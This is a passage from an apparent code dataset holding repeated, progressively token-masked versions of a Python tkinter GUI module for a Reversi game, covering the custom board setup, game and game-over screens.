self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<class token>\n\n\nclass Pregame(tk.Frame):\n <assignment token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n\n\nclass Custom_Board(tk.Frame):\n <assignment token>\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n\n\nclass Custom_Board(tk.Frame):\n <assignment token>\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n <function token>\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in 